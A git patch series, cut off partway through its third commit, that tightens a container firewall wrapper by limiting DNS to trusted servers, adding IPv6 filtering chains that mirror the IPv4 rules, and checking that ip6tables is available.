reject: false }); }); it('should not throw on errors (best-effort cleanup)', async () => { diff --git a/src/host-iptables.ts b/src/host-iptables.ts index 6eca2ef..d7bf3e5 100644 --- a/src/host-iptables.ts +++ b/src/host-iptables.ts @@ -1,7 +1,10 @@ import execa from 'execa'; import { logger } from './logger'; +import { isIPv6 } from 'net'; const NETWORK_NAME = 'awf-net'; +const CHAIN_NAME = 'FW_WRAPPER'; +const CHAIN_NAME_V6 = 'FW_WRAPPER_V6'; const NETWORK_SUBNET = '172.30.0.0/24'; /** @@ -67,11 +70,71 @@ export async function ensureFirewallNetwork(): Promise<{ }; } +/** + * Sets up the IPv6 iptables chain for handling IPv6 DNS servers + * @param bridgeName - Bridge interface name to filter traffic on + */ +async function setupIpv6Chain(bridgeName: string): Promise { + logger.debug(`Setting up IPv6 chain '${CHAIN_NAME_V6}'...`); + + // Clean up existing IPv6 chain if it exists + try { + const { exitCode } = await execa('ip6tables', ['-t', 'filter', '-L', CHAIN_NAME_V6, '-n'], { reject: false }); + if (exitCode === 0) { + logger.debug(`IPv6 chain '${CHAIN_NAME_V6}' already exists, cleaning up...`); + + // Remove references from DOCKER-USER + const { stdout } = await execa('ip6tables', [ + '-t', 'filter', '-L', 'DOCKER-USER', '-n', '--line-numbers', + ], { reject: false }); + + const lines = stdout.split('\n'); + const lineNumbers: number[] = []; + for (const line of lines) { + if (line.includes(CHAIN_NAME_V6)) { + const match = line.match(/^(\d+)/); + if (match) { + lineNumbers.push(parseInt(match[1], 10)); + } + } + } + + for (const lineNum of lineNumbers.reverse()) { + await execa('ip6tables', ['-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString()], { reject: false }); + } + + await execa('ip6tables', ['-t', 'filter', '-F', CHAIN_NAME_V6], { reject: false }); + await execa('ip6tables', ['-t', 'filter', '-X', CHAIN_NAME_V6], { reject: false }); + } + } catch (error) { + logger.debug('Error during IPv6 chain cleanup:', error); + } + + // Create the IPv6 chain + await execa('ip6tables', ['-t', 'filter', '-N', CHAIN_NAME_V6]); + + // Insert rule in DOCKER-USER to jump to our IPv6 chain + const { stdout: existingRules } = await execa('ip6tables', [ + '-t', 'filter', '-L', 'DOCKER-USER', '-n', '--line-numbers', + ], { reject: false }); + + if (!existingRules.includes(CHAIN_NAME_V6)) { + await execa('ip6tables', [ + '-t', 'filter', '-I', 'DOCKER-USER', '1', + '-i', bridgeName, + '-j', CHAIN_NAME_V6, + ]); + } +} + /** * Sets up host-level iptables rules using DOCKER-USER chain * This ensures ALL containers on the firewall network are subject to egress filtering + * @param squidIp - IP address of the Squid proxy + * @param squidPort - Port number of the Squid proxy + * @param dnsServers - Array of trusted DNS server IP addresses (DNS traffic is ONLY allowed to these servers) */ -export async function setupHostIptables(squidIp: string, squidPort: number): Promise { +export async function setupHostIptables(squidIp: string, squidPort: number, dnsServers: string[]): Promise { logger.info('Setting up host-level iptables rules...'); // Get the bridge interface name @@ -103,16 +166,16 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro } } - // Create a dedicated chain for our rules to make cleanup easier - const chainName = 'FW_WRAPPER'; - logger.debug(`Creating dedicated chain '${chainName}'...`); + // Create dedicated chains for our rules to make cleanup easier + // Use CHAIN_NAME for IPv4 and CHAIN_NAME_V6 for IPv6 + logger.debug(`Creating dedicated chain '${CHAIN_NAME}'...`); // Remove chain if it exists (cleanup from previous runs) try { // Check if chain exists first - const { exitCode } = await execa('iptables', ['-t', 'filter', '-L', chainName, '-n'], { reject: false }); + const { exitCode } = await execa('iptables', ['-t', 'filter', '-L', CHAIN_NAME, '-n'], { reject: false }); if (exitCode === 0) { - logger.debug(`Chain '${chainName}' already exists, cleaning up...`); + logger.debug(`Chain '${CHAIN_NAME}' already exists, cleaning up...`); // First, remove any references from DOCKER-USER const { stdout } = await execa('iptables', [ @@ -122,7 +185,7 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro const lines = stdout.split('\n'); const lineNumbers: number[] = []; for (const line of lines) { - if (line.includes(chainName)) { + if (line.includes(CHAIN_NAME)) { const match = line.match(/^(\d+)/); if (match) { lineNumbers.push(parseInt(match[1], 10)); @@ -132,15 +195,15 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro // Delete rules in reverse order for (const lineNum of lineNumbers.reverse()) { - logger.debug(`Removing reference to ${chainName} from DOCKER-USER line ${lineNum}`); + logger.debug(`Removing reference to ${CHAIN_NAME} from DOCKER-USER line ${lineNum}`); await execa('iptables', [ '-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString(), ], { reject: false }); } // Then flush and delete the chain - await execa('iptables', ['-t', 'filter', '-F', chainName], { reject: false }); - await execa('iptables', ['-t', 'filter', '-X', chainName], { reject: false }); + await execa('iptables', ['-t', 'filter', '-F', CHAIN_NAME], { reject: false }); + await execa('iptables', ['-t', 'filter', '-X', CHAIN_NAME], { reject: false }); } } catch (error) { // Ignore errors @@ -148,96 +211,160 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro } // Create the chain - await execa('iptables', ['-t', 'filter', '-N', chainName]); + await execa('iptables', ['-t', 'filter', '-N', CHAIN_NAME]); // Build rules in our dedicated chain // 1. Allow all traffic FROM the Squid proxy (it needs unrestricted outbound access) await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-s', squidIp, '-j', 'ACCEPT', ]); // 2. Allow established and related connections (return traffic) await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-m', 'conntrack', '--ctstate', 'ESTABLISHED,RELATED', '-j', 'ACCEPT', ]); // 3. Allow localhost traffic await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-o', 'lo', '-j', 'ACCEPT', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-d', '127.0.0.0/8', '-j', 'ACCEPT', ]); - // 4. Allow DNS (UDP and TCP port 53) + // 4. Allow DNS ONLY to specified trusted DNS servers (prevents DNS exfiltration) + // Separate IPv4 and IPv6 DNS servers + const ipv4DnsServers = dnsServers.filter(s => !isIPv6(s)); + const ipv6DnsServers = dnsServers.filter(s => isIPv6(s)); + + logger.debug(`Configuring DNS rules for trusted servers: ${dnsServers.join(', ')}`); + logger.debug(` IPv4 DNS servers: ${ipv4DnsServers.join(', ') || '(none)'}`); + logger.debug(` IPv6 DNS servers: ${ipv6DnsServers.join(', ') || '(none)'}`); + + // Add IPv4 DNS server rules using iptables + for (const dnsServer of ipv4DnsServers) { + await execa('iptables', [ + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'udp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); + + await execa('iptables', [ + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'tcp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); + } + + // Add IPv6 DNS server rules using ip6tables + if (ipv6DnsServers.length > 0) { + // Set up IPv6 chain if we have IPv6 DNS servers + await setupIpv6Chain(bridgeName); + + for (const dnsServer of ipv6DnsServers) { + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'tcp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); + } + + // Block all other IPv6 UDP traffic in the IPv6 chain + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', + '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP6] ', '--log-level', '4', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + + // Default allow for other IPv6 traffic (return to main chain) + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-j', 'RETURN', + ]); + } + + // Also allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution await execa('iptables', [ - '-t', 'filter', '-A', chainName, - '-p', 'udp', '--dport', '53', + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'udp', '-d', '127.0.0.11', '--dport', '53', '-j', 'ACCEPT', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, - '-p', 'tcp', '--dport', '53', + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'tcp', '-d', '127.0.0.11', '--dport', '53', '-j', 'ACCEPT', ]); // 5. Allow traffic to Squid proxy await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-p', 'tcp', '-d', squidIp, '--dport', squidPort.toString(), '-j', 'ACCEPT', ]); // 6. Block multicast and link-local traffic await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-m', 'addrtype', '--dst-type', 'MULTICAST', '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-d', '169.254.0.0/16', '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-d', '224.0.0.0/4', '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); - // 7. Block all other UDP traffic (except DNS which is already allowed) + // 7. Block all other UDP traffic (DNS to whitelisted servers already allowed above) + // This catches DNS exfiltration attempts to unauthorized servers await execa('iptables', [ - '-t', 'filter', '-A', chainName, - '-p', 'udp', '!', '--dport', '53', + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'udp', '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP] ', '--log-level', '4', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, - '-p', 'udp', '!', '--dport', '53', + '-t', 'filter', '-A', CHAIN_NAME, + '-p', 'udp', '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); // 8. Default deny all other traffic await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_OTHER] ', '--log-level', '4', ]); await execa('iptables', [ - '-t', 'filter', '-A', chainName, + '-t', 'filter', '-A', CHAIN_NAME, '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); @@ -249,11 +376,11 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro ]); if (!existingRules.includes(`-i ${bridgeName}`)) { - logger.debug(`Inserting rule in DOCKER-USER to jump to ${chainName} for bridge ${bridgeName}...`); + logger.debug(`Inserting rule in DOCKER-USER to jump to ${CHAIN_NAME} for bridge ${bridgeName}...`); await execa('iptables', [ '-t', 'filter', '-I', 'DOCKER-USER', '1', '-i', bridgeName, - '-j', chainName, + '-j', CHAIN_NAME, ]); } else { logger.debug(`Rule for bridge ${bridgeName} already exists in DOCKER-USER`); @@ -268,24 +395,24 @@ export async function setupHostIptables(squidIp: string, squidPort: number): Pro ]); logger.debug(dockerUserRules); - logger.debug(`${chainName} chain:`); + logger.debug(`${CHAIN_NAME} chain:`); const { stdout: fwWrapperRules } = await execa('iptables', [ - '-t', 'filter', '-L', chainName, '-n', '-v', + '-t', 'filter', '-L', CHAIN_NAME, '-n', '-v', ]); logger.debug(fwWrapperRules); } /** - * Cleans up host-level iptables rules + * Cleans up host-level iptables rules (both IPv4 and IPv6) */ export async function cleanupHostIptables(): Promise { logger.debug('Cleaning up host-level iptables rules...'); - const chainName = 'FW_WRAPPER'; - try { // Get the bridge name const bridgeName = await getNetworkBridgeName(); + + // Clean up IPv4 rules if (bridgeName) { // Find and remove the rule that jumps to our chain const { stdout } = await execa('iptables', [ @@ -296,7 +423,7 @@ export async function cleanupHostIptables(): Promise { const lines = stdout.split('\n'); const lineNumbers: number[] = []; for (const line of lines) { - if ((line.includes(`-i ${bridgeName}`) || line.includes(`-o ${bridgeName}`)) && line.includes(chainName)) { + if ((line.includes(`-i ${bridgeName}`) || line.includes(`-o ${bridgeName}`)) && line.includes(CHAIN_NAME)) { const match = line.match(/^(\d+)/); if (match) { lineNumbers.push(parseInt(match[1], 10)); @@ -306,17 +433,49 @@ export async function cleanupHostIptables(): Promise { // Delete rules in reverse order (to maintain line numbers) for (const lineNum of lineNumbers.reverse()) { - logger.debug(`Removing rule ${lineNum} from DOCKER-USER`); + logger.debug(`Removing rule ${lineNum} from DOCKER-USER (IPv4)`); await execa('iptables', [ '-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString(), ], { reject: false }); } } - // Flush and delete our custom chain - await execa('iptables', ['-t', 'filter', '-F', chainName], { reject: false }); - await execa('iptables', ['-t', 'filter', '-X', chainName], { reject: false }); + // Flush and delete our custom IPv4 chain + await execa('iptables', ['-t', 'filter', '-F', CHAIN_NAME], { reject: false }); + await execa('iptables', ['-t', 'filter', '-X', CHAIN_NAME], { reject: false }); + + logger.debug('IPv4 iptables rules cleaned up'); + + // Clean up IPv6 rules + if (bridgeName) { + const { stdout: stdout6 } = await execa('ip6tables', [ + '-t', 'filter', '-L', 'DOCKER-USER', '-n', '--line-numbers', + ], { reject: false }); + + const lines6 = stdout6.split('\n'); + const lineNumbers6: number[] = []; + for (const line of lines6) { + if (line.includes(CHAIN_NAME_V6)) { + const match = line.match(/^(\d+)/); + if (match) { + lineNumbers6.push(parseInt(match[1], 10)); + } + } + } + + for (const lineNum of lineNumbers6.reverse()) { + logger.debug(`Removing rule ${lineNum} from DOCKER-USER (IPv6)`); + await execa('ip6tables', [ + '-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString(), + ], { reject: false }); + } + } + + // Flush and delete our custom IPv6 chain + await execa('ip6tables', ['-t', 'filter', '-F', CHAIN_NAME_V6], { reject: false }); + await execa('ip6tables', ['-t', 'filter', '-X', CHAIN_NAME_V6], { reject: false }); + logger.debug('IPv6 ip6tables rules cleaned up'); logger.debug('Host-level iptables rules cleaned up'); } catch (error) { logger.debug('Error cleaning up iptables rules:', error); diff --git a/src/types.ts b/src/types.ts index 7022cfd..d62456e 100644 --- a/src/types.ts +++ b/src/types.ts @@ -185,6 +185,22 @@ export interface WrapperConfig { * @example '/home/runner/work/repo/repo' */ containerWorkDir?: string; + + /** + * List of trusted DNS servers for DNS queries + * + * DNS traffic is ONLY allowed to these servers, preventing DNS-based data + * exfiltration to arbitrary destinations. Both IPv4 and IPv6 addresses are + * supported. + * + * Docker's embedded DNS (127.0.0.11) is always allowed for container name + * resolution, in addition to the servers specified here. + * + * @default ['8.8.8.8', '8.8.4.4'] (Google Public DNS) + * @example ['1.1.1.1', '1.0.0.1'] (Cloudflare DNS) + * @example ['8.8.8.8', '2001:4860:4860::8888'] (Google DNS with IPv6) + */ + dnsServers?: string[]; } /** From 9a21aaf6a41e1d1beab285807df67aed2d0d9630 Mon Sep 17 00:00:00 2001 From: Copilot <198982749+Copilot@users.noreply.github.com> Date: Wed, 26 Nov 2025 16:18:26 -0800 Subject: [PATCH 2/3] fix: address ipv6 validation and filtering review comments (#69) * Initial plan * fix: address pr review comments for ipv6 validation and filtering Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> * fix: improve ipv6 chain comments for clarity Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> * fix: add icmpv6 rules and ipv6 validation tests Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> --- containers/agent/setup-iptables.sh | 63 +++++++++++++++++++++++------- src/cli.test.ts | 13 ++++++ src/cli.ts | 12 ++---- src/host-iptables.ts | 60 ++++++++++++++++++++++++++-- 4 files changed, 122 insertions(+), 26 deletions(-) diff --git a/containers/agent/setup-iptables.sh b/containers/agent/setup-iptables.sh index 2c7d32d..efe5089 100644 --- a/containers/agent/setup-iptables.sh +++ b/containers/agent/setup-iptables.sh @@ -4,6 +4,13 @@ set -e echo "[iptables] Setting up NAT redirection to Squid proxy..." echo "[iptables] NOTE: Host-level DOCKER-USER chain handles egress filtering for all containers on this network" +# Function to check if an IP address is IPv6 +is_ipv6() { + local ip="$1" + # Check if it contains a colon (IPv6 addresses always contain colons) + [[ "$ip" == *:* ]] +} + # Get Squid proxy configuration from environment SQUID_HOST="${SQUID_PROXY_HOST:-squid-proxy}" SQUID_PORT="${SQUID_PROXY_PORT:-3128}" @@ -18,55 +25,83 @@ if [ -z "$SQUID_IP" ]; then fi echo "[iptables] Squid IP resolved to: $SQUID_IP" -# Clear existing NAT rules +# Clear existing NAT rules (both IPv4 and IPv6) iptables -t nat -F OUTPUT 2>/dev/null || true +ip6tables -t nat -F OUTPUT 2>/dev/null || true # Allow localhost traffic (for stdio MCP servers) echo "[iptables] Allow localhost traffic..." iptables -t nat -A OUTPUT -o lo -j RETURN iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN +ip6tables -t nat -A OUTPUT -o lo -j RETURN +ip6tables -t nat -A OUTPUT -d ::1/128 -j RETURN # Get DNS servers from environment (default to Google DNS) DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}" echo "[iptables] Configuring DNS rules for trusted servers: $DNS_SERVERS" -# Allow DNS queries ONLY to trusted DNS servers (prevents DNS exfiltration) +# Separate IPv4 and IPv6 DNS servers +IPV4_DNS_SERVERS=() +IPV6_DNS_SERVERS=() IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS" for dns_server in "${DNS_ARRAY[@]}"; do dns_server=$(echo "$dns_server" | tr -d ' ') if [ -n "$dns_server" ]; then - echo "[iptables] Allow DNS to trusted server: $dns_server" - iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN - iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN + if is_ipv6 "$dns_server"; then + IPV6_DNS_SERVERS+=("$dns_server") + else + IPV4_DNS_SERVERS+=("$dns_server") + fi fi done +echo "[iptables] IPv4 DNS servers: ${IPV4_DNS_SERVERS[*]:-none}" +echo "[iptables] IPv6 DNS servers: ${IPV6_DNS_SERVERS[*]:-none}" + +# Allow DNS queries ONLY to trusted IPv4 DNS servers (prevents DNS exfiltration) +for dns_server in "${IPV4_DNS_SERVERS[@]}"; do + echo "[iptables] Allow DNS to trusted IPv4 server: $dns_server" + iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN + iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN +done + +# Allow DNS queries ONLY to trusted IPv6 DNS servers +for dns_server in "${IPV6_DNS_SERVERS[@]}"; do + echo "[iptables] Allow DNS to trusted IPv6 server: $dns_server" + ip6tables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN + ip6tables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN +done + # Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..." iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN -# Allow return traffic to trusted DNS servers +# Allow return traffic to trusted IPv4 DNS servers echo "[iptables] Allow traffic to trusted DNS servers..." -for dns_server in "${DNS_ARRAY[@]}"; do - dns_server=$(echo "$dns_server" | tr -d ' ') - if [ -n "$dns_server" ]; then - iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN - fi +for dns_server in "${IPV4_DNS_SERVERS[@]}"; do + iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN +done + +# Allow return traffic to trusted IPv6 DNS servers +for dns_server in "${IPV6_DNS_SERVERS[@]}"; do + ip6tables -t nat -A OUTPUT -d "$dns_server" -j RETURN done # Allow traffic to Squid proxy itself echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..." iptables -t nat -A OUTPUT -d "$SQUID_IP" -j RETURN -# Redirect HTTP traffic to Squid +# Redirect HTTP traffic to Squid (IPv4 only - Squid runs on IPv4) echo "[iptables] Redirect HTTP (port 80) to Squid..." iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}" -# Redirect HTTPS traffic to Squid +# Redirect HTTPS traffic to Squid (IPv4 only - Squid runs on IPv4) echo "[iptables] Redirect HTTPS (port 443) to Squid..." iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination "${SQUID_IP}:${SQUID_PORT}" echo "[iptables] NAT rules applied successfully" -echo "[iptables] Current NAT OUTPUT rules:" +echo "[iptables] Current IPv4 NAT OUTPUT rules:" iptables -t nat -L OUTPUT -n -v +echo "[iptables] Current IPv6 NAT OUTPUT rules:" +ip6tables -t nat -L OUTPUT -n -v 2>/dev/null || echo "[iptables] (ip6tables NAT not available)" diff --git a/src/cli.test.ts b/src/cli.test.ts index a30652e..2ddf16d 100644 --- a/src/cli.test.ts +++ b/src/cli.test.ts @@ -703,12 +703,25 @@ describe('cli', () => { expect(isValidIPv6('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).toBe(true); }); + it('should accept IPv4-mapped IPv6 addresses', () => { + expect(isValidIPv6('::ffff:192.0.2.1')).toBe(true); + expect(isValidIPv6('::ffff:8.8.8.8')).toBe(true); + expect(isValidIPv6('::ffff:127.0.0.1')).toBe(true); + }); + it('should reject invalid IPv6 addresses', () => { expect(isValidIPv6('8.8.8.8')).toBe(false); expect(isValidIPv6('localhost')).toBe(false); expect(isValidIPv6('')).toBe(false); expect(isValidIPv6('2001:4860:4860:8888')).toBe(false); // Missing :: }); + + it('should reject malformed input', () => { + expect(isValidIPv6('not-an-ip')).toBe(false); + expect(isValidIPv6('192.168.1.1')).toBe(false); + expect(isValidIPv6(':::1')).toBe(false); + expect(isValidIPv6('2001:db8::g')).toBe(false); // Invalid hex character + }); }); describe('DNS servers parsing', () => { diff --git a/src/cli.ts b/src/cli.ts index a8619bf..ae27045 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -4,6 +4,7 @@ import { Command } from 'commander'; import * as path from 'path'; import * as os from 'os'; import * as fs from 'fs'; +import { isIPv6 } from 'net'; import { WrapperConfig, LogLevel } from './types'; import { logger } from './logger'; import { @@ -89,19 +90,12 @@ export function isValidIPv4(ip: string): boolean { } /** - * Validates that a string is a valid IPv6 address + * Validates that a string is a valid IPv6 address using Node.js built-in net module * @param ip - String to validate * @returns true if the string is a valid IPv6 address */ export function isValidIPv6(ip: string): boolean { - // Comprehensive IPv6 validation covering: - // - Full form: 2001:0db8:85a3:0000:0000:8a2e:0370:7334 - // - Compressed form: 2001:db8:85a3::8a2e:370:7334 - // - Loopback: ::1 - // - Unspecified: :: - // - IPv4-mapped: ::ffff:192.0.2.1 - const ipv6Regex = /^(?:(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,7}:|(?:[0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,5}(?::[0-9a-fA-F]{1,4}){1,2}|(?:[0-9a-fA-F]{1,4}:){1,4}(?::[0-9a-fA-F]{1,4}){1,3}|(?:[0-9a-fA-F]{1,4}:){1,3}(?::[0-9a-fA-F]{1,4}){1,4}|(?:[0-9a-fA-F]{1,4}:){1,2}(?::[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:(?::[0-9a-fA-F]{1,4}){1,6}|:(?::[0-9a-fA-F]{1,4}){1,7}|::)$/; - return ipv6Regex.test(ip); + return isIPv6(ip); } /** diff --git a/src/host-iptables.ts b/src/host-iptables.ts index d7bf3e5..a08a2f7 100644 --- a/src/host-iptables.ts +++ b/src/host-iptables.ts @@ -270,6 +270,41 @@ export async function setupHostIptables(squidIp: string, squidPort: number, dnsS // Set up IPv6 chain if we have IPv6 DNS servers await setupIpv6Chain(bridgeName); + // IPv6 chain needs to mirror IPv4 chain's comprehensive filtering + // This prevents IPv6 from becoming an unfiltered bypass path + + // Note: Squid proxy rule is omitted for IPv6 since Squid runs on IPv4 only + + // 1. Allow established and related connections (return traffic) + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-m', 'conntrack', '--ctstate', 'ESTABLISHED,RELATED', + '-j', 'ACCEPT', + ]); + + // 2. Allow localhost/loopback traffic + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-o', 'lo', + '-j', 'ACCEPT', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-d', '::1/128', + '-j', 'ACCEPT', + ]); + + // 3. Allow essential ICMPv6 (required for IPv6 functionality) + // This includes: destination unreachable, packet too big, time exceeded, + // echo request/reply, and Neighbor Discovery Protocol (NDP) + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'ipv6-icmp', + '-j', 'ACCEPT', + ]); + + // 4. Allow DNS ONLY to specified trusted IPv6 DNS servers for (const dnsServer of ipv6DnsServers) { await execa('ip6tables', [ '-t', 'filter', '-A', CHAIN_NAME_V6, @@ -284,7 +319,20 @@ export async function setupHostIptables(squidIp: string, squidPort: number, dnsS ]); } - // Block all other IPv6 UDP traffic in the IPv6 chain + // 5. Block IPv6 multicast and link-local traffic + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-d', 'ff00::/8', // IPv6 multicast range + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-d', 'fe80::/10', // IPv6 link-local range + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + + // 6. Block all other IPv6 UDP traffic (DNS to whitelisted servers already allowed above) await execa('ip6tables', [ '-t', 'filter', '-A', CHAIN_NAME_V6, '-p', 'udp', @@ -297,10 +345,16 @@ export async function setupHostIptables(squidIp: string, squidPort: number, dnsS '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', ]); - // Default allow for other IPv6 traffic (return to main chain) + // 7. Default deny all other IPv6 traffic (including TCP) + // This prevents IPv6 from being an unfiltered bypass path await execa('ip6tables', [ '-t', 'filter', '-A', CHAIN_NAME_V6, - '-j', 'RETURN', + '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_OTHER6] ', '--log-level', '4', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', ]); } From 2e48b891a728510d03855cbee1880b8f8dc47cf6 Mon Sep 17 00:00:00 2001 From: Copilot <198982749+Copilot@users.noreply.github.com> Date: Thu, 27 Nov 2025 16:25:51 -0800 Subject: [PATCH 3/3] fix: add ip6tables availability checks for robustness (#77) * Initial plan * fix: add ip6tables availability checks for robustness Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> * fix: address code review feedback for ip6tables checks Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com> --- containers/agent/setup-iptables.sh | 58 ++++++-- src/host-iptables.ts | 220 +++++++++++++++++------------ 2 files changed, 173 insertions(+), 105 deletions(-) diff --git a/containers/agent/setup-iptables.sh b/containers/agent/setup-iptables.sh index efe5089..ecbc097 100644 --- a/containers/agent/setup-iptables.sh +++ b/containers/agent/setup-iptables.sh @@ -11,6 +11,24 @@ is_ipv6() { [[ "$ip" == *:* ]] } +# Function to check if ip6tables is available and functional +has_ip6tables() { + if command -v ip6tables &>/dev/null && ip6tables -L -n &>/dev/null; then + return 0 + else + return 1 + fi +} + +# Check ip6tables availability once at the start +IP6TABLES_AVAILABLE=false +if has_ip6tables; then + IP6TABLES_AVAILABLE=true + echo "[iptables] ip6tables is available" +else + echo "[iptables] WARNING: ip6tables is not available, IPv6 rules will be skipped" +fi + # Get Squid proxy configuration from environment SQUID_HOST="${SQUID_PROXY_HOST:-squid-proxy}" SQUID_PORT="${SQUID_PROXY_PORT:-3128}" @@ -27,14 +45,18 @@ echo "[iptables] Squid IP resolved to: $SQUID_IP" # Clear existing NAT rules (both IPv4 and IPv6) iptables -t nat -F OUTPUT 2>/dev/null || true -ip6tables -t nat -F OUTPUT 2>/dev/null || true +if [ "$IP6TABLES_AVAILABLE" = true ]; then + ip6tables -t nat -F OUTPUT 2>/dev/null || true +fi # Allow localhost traffic (for stdio MCP servers) echo "[iptables] Allow localhost traffic..." iptables -t nat -A OUTPUT -o lo -j RETURN iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN -ip6tables -t nat -A OUTPUT -o lo -j RETURN -ip6tables -t nat -A OUTPUT -d ::1/128 -j RETURN +if [ "$IP6TABLES_AVAILABLE" = true ]; then + ip6tables -t nat -A OUTPUT -o lo -j RETURN + ip6tables -t nat -A OUTPUT -d ::1/128 -j RETURN +fi # Get DNS servers from environment (default to Google DNS) DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}" @@ -66,11 +88,15 @@ for dns_server in "${IPV4_DNS_SERVERS[@]}"; do done # Allow DNS queries ONLY to trusted IPv6 DNS servers -for dns_server in "${IPV6_DNS_SERVERS[@]}"; do - echo "[iptables] Allow DNS to trusted IPv6 server: $dns_server" - ip6tables -t nat -A 